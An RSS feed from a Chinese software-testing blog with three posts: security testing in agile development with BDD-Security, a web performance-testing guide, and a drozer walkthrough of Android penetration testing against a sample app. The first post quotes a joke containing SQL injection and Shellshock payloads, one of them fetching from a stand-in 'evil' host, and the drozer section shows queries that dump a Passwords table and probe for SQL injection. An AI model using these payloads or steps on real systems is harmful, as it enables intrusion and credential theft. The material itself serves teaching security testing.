﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>语源科技BlogJava-qileilove</title><link>http://www.blogjava.net/qileilove/</link><description>blog已经转移至github,大家请访问 http://qaseven.github.io/</description><language>zh-cn</language><lastBuildDate>Tue, 14 Jul 2026 17:09:32 GMT</lastBuildDate><pubDate>Tue, 14 Jul 2026 17:09:32 GMT</pubDate><ttl>60</ttl><item><title>在开发流程中嵌入安全测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:10:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423599.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423599.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423599.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　ContinuumSecurity创始人Stephen de Vries，在Velocity Europe 2014大会上提出了持续且可视化的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>的观点。Stephen表示，那些在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">敏捷</strong></u></a>开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave，且遵循Given-When-Then方法的安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　为了论证QA和安全测试只有量的区别而没有质的区别，Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从QA的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　QA工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从安全的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　渗透测试工程师走进一家酒吧，点了一杯啤酒；点了&#8221;&gt;杯啤酒；点了&#8217;or 1=1-杯啤酒；点了() { :; }; wget -O /beers http://evil; /杯啤酒。　　要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性，因此他开始着手构建BDD-Security安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　由于BDD-Security是基于JBehave构建的，因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Scenario: Transmit authentication credentials over HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Meta: @id auth_https</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Given the browser is configured to use an intercepting proxy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the proxy logs are cleared</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the default user logs in with credentials from: users.table</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the HTTP request-response containing the default credentials is inspected</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Then the protocol should be HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这也说明BDD-Security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用&#8212;&#8212;也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有OWASP ZAP或Nessus等。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具，不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似，同样支持BDD，只是它使用的编程语言是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>。Mittn用<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Python</strong></u></a>编写并且同样也使用Gherkin。</div><img src ="http://www.blogjava.net/qileilove/aggbug/423599.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:10 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>如何进行Web服务的性能测试？</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:08:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423598.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423598.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423598.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　随着浏览器功能的不断完善，用户量不断的攀升，涉及到<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">web</strong></u></a>服务的功能在不断的增加，对于我们<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>来说，我们不仅要保证服务端功能的正确性，也要验证服务端程序的性能是否符合要求。那么<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">性能测试</strong></u></a>都要做些什么呢？我们该怎样进行性能测试呢？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">性能测试一般会围绕以下这些问题而进行：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 什么情况下需要做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 什么时候做性能测试？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 做性能测试需要准备哪些内容？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 什么样的性能指标是符合要求的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　5. 性能测试需要收集的数据有哪些？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　6. 怎样收集这些数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　7. 如何分析收集到的数据？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　8. 如何给出性能测试报告？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　<strong style="word-break: break-all; line-height: normal !important;">　性能测试的执行过程及要做的事儿主要包含以下内容：</strong></div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　1. 测试评估阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要评估被测的产品是否要进行性能测试，并且对目前的服务器环境进行粗估，服务的性能是否满足条件。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　首先要明确只要涉及到准备上线的服务端产品，就需要进行性能测试。其次如果产品需求中明确提到了性能指标，那也必须要做性能测试。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　测试人员在进行性能测试前，需要根据当前的收集到的各种信息，预先做性能的评估，收集的内容主要包括带宽、请求包大小、并发用户数和当前web服务的带宽等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　2. 测试准备阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　在这个阶段，我们要了解以下内容：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 服务器的架构是什么样的，例如：web服务器是什么？是如何配置的？<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a>用的是什么？服务用的是什么语言编写的？；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 服务端功能的内部逻辑实现；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 服务端与数据库是如何交互的，例如：数据库的表结构是什么样的？服务端功能是怎样操作数据库的？</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 服务端与客户端之间是如何进行交互的，即接口定义；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，测试人员整理出服务器端各模块之间的交互图，客户端与服务端之间的交互图以及服务端内部功能逻辑实现的流程图。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 该服务上线后的用户量预估是多少，如果无法评估出用户量，那么可以通过设计测试执行的场景得出这个值；</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　f. 上线要部署到多少台机器上，每台机器的负载均衡是如何设计的，每台机器的配置什么样的，网络环境是什么样的。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　g. 了解测试环境与线上环境的不同，例如网络环境、硬件配置等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　h. 制定测试执行的策略，是需要验证需求中的指标能否达到，还是评估系统的最大处理能力。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　i. 沟通上线的指标</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　通过收集以上信息，确定性能<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试用例</strong></u></a>该如何设计，如何设计性能测试用例执行的场景，以及上线指标的评估。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　3. 测试设计阶段</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　根据测试人员通过之前整理的交互图和流程图，设计相应的性能测试用例。性能测试用例主要分为预期目标用户测试，用户并发测试，疲劳强度与大数量测试，网络性能测试，服务器性能测试，具体编写的测试用例要更具实际情况进行裁减。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　用例编写的步骤大致分为：</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　a. 通过脚本模拟单一用户是如何使用这个web服务的。这里模拟的可以是用户使用web服务的某一个动作或某几个动作，某一个功能或几个功能，也可以是使用web服务的整个过程。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　b. 根据客户端的实际情况和服务器端的策略，通过将脚本中可变的数据进行参数化，来模拟多个用户的操作。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　c. 验证参数化后脚本功能的正确性。</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　d. 添加检查点</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　e. 设计脚本执行的策略，如每个功能的执行次数，各个功能的执行顺序等</div><div style="word-break: break-all; line-height: 1.8em !important; margin: 10px 0px;">　　4. 测试执行阶段<br /><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　根据客户端的产品行为设计web服务的测试执行场景及测试执行的过程，即测试执行期间发生的事儿。通过监控程序收集web服务的性能数据和web服务所在系统的性能数据。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在测试执行过程中，还要不断的关注以下内容：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　a. web服务的连接速度如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　b. 每秒的点击数如何？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　c. Web服务能允许多少个用户同时在线？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　d. 如果超过了这个数量，会出现什么现象？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　e. Web服务能否处理大量用户对同一个页面的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　f. 如果web服务崩溃，是否会自动恢复？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　g. 系统能否同一时间响应大量用户的请求？</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　h. 打压机的系统负载状态。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　5. 测试分析阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　将收集到的数据制成图表，查看各指标的性能变化曲线，结合之前确定的上线指标，对各项数据进行分析，已确定是否继续对web服务进行测试，结果是否达到了期望值。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　6. 测试验证阶段</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在开发针对发现的性能问题进行修复后，要再执行性能测试的用例对问题进行验证。这里需要关注的是开发在解决问题的同时可能无意中修改了某些功能，所以在验证性能的同时，也要关注原有功能是否受到了影响</div></div><div id="weixin_s" style="word-break: break-all; margin: 0px 0px 10px; width: 350px; height: 32px; display: inline-block; position: relative; line-height: 1.8em !important; background-image: url(http://www.51testing.com/html/wx.jpg); background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: no-repeat;"><div style="word-break: break-all; margin: 4px 0px 10px 130px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; line-height: normal !important; background-color: #ffffff;"></div></div><img src ="http://www.blogjava.net/qileilove/aggbug/423598.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:08 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423598.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用drozer进行Android渗透测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:06:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423597.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423597.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423597.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423597.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">一、安装与启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">1. 安装</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：从http://mwr.to/drozer下载Drozer (<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Windows</strong></u></a>&nbsp;Installer)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Android</strong></u></a>设备中安装agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb install agent.apk</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">2. 启动</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第一步：在PC上使用adb进行端口转发，转发到Drozer使用的端口31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　adb forward tcp:31415 tcp:31415</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第二步：在Android设备上开启Drozer Agent</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　选择embedded server-enable</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　第三步：在PC上开启Drozer console</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　drozer console connect</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　二、<a target="_self" style="word-break: break-all; color: #202859;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>步骤</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　1.获取包名</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; run app.package.list -f sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　2.获取应用的基本信息</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　3.确定攻击面</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.package.attacksurface com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;"><strong style="word-break: break-all; line-height: normal !important;">　　4.Activity</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取activity信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）启动activity</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.activity.start --component com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　dz&gt; help app.activity.start</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--component PACKAGE COMPONENT] [--data-uri DATA_URI]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　[--mimetype MIMETYPE]</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　5.Content Provider</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（1）获取Content Provider信息</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.info -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（2）Content Providers（数据泄露）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　先获取所有可以访问的Uri：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run scanner.provider.finduris -a com.mwr.example.sieve</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　获取各个Uri的数据：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　查询到数据说明存在漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　（3）Content Providers（<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入）</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　报错则说明存在SQL注入。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; 